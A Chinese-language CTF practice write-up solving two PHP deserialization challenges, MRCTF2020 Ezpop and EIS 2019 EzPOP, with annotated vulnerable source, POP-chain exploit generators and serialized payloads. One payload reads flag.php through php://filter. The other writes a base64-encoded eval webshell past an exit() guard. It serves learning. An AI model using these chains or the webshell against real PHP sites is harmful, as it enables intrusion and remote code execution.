7-15刷题

7.15刷题

[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);#1 $var=php://filter/
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;#3$str=new Test()
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {#4 $source=new Show()
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();#2$p=new Modifier()
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
<?php
class Modifier {
    var  $var; #改回去protected!!!
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
$a->source->str->p->var='php://filter/convert.base64-encode/resource=flag.php';
echo serialize($a);

?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

[EIS 2019]EzPOP

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;#key是写入的文件名,pz.php

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {#4
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);#键名取交集,赋值$object=array("path"=>"一句话木马的url-base64编码"),不用管数组的其他东西,php://filter只读取php代码
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);#cache应当定义为一个数组,数组的名字$path无所谓,值是array("path"=>"一句话木马的url-base64编码");

        return json_encode([$cleaned, $this->complete]);#随便给complete一个值2,返回的是[{"cache":{"111":{"path":"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs\/Pg"}},"complete":"2"},"2"]
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);#这里可以调用B类的set方法,给store赋值B对象
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;    #伪协议绕过死亡exit(),options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'
    }#我们需要shell部分前面加起来的字节数为4的倍数

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];#options['serialize']='strval',把数字转化为字符串

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];#options['expire']=11
        }

        $expire = $this->getExpireTime($expire);#强制转数字
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);#这里的serialize被重写了,是把数组变成字符串

        if ($this->options['data_compress'] && function_exists('gzcompress')) {#options['data_compress']=false不压缩
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;#56个+
        $result = file_put_contents($filename, $data);#这里写入文件,但是拼接语句有//注释和exit(),利用base64解码为乱码

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

POC:

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = 'pz.php';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

不用数数,直接调整$path字符的数量一个个试就行

posted @ 2024-12-22 17:35  Dyinglight5  阅读(18)  评论(0)    收藏  举报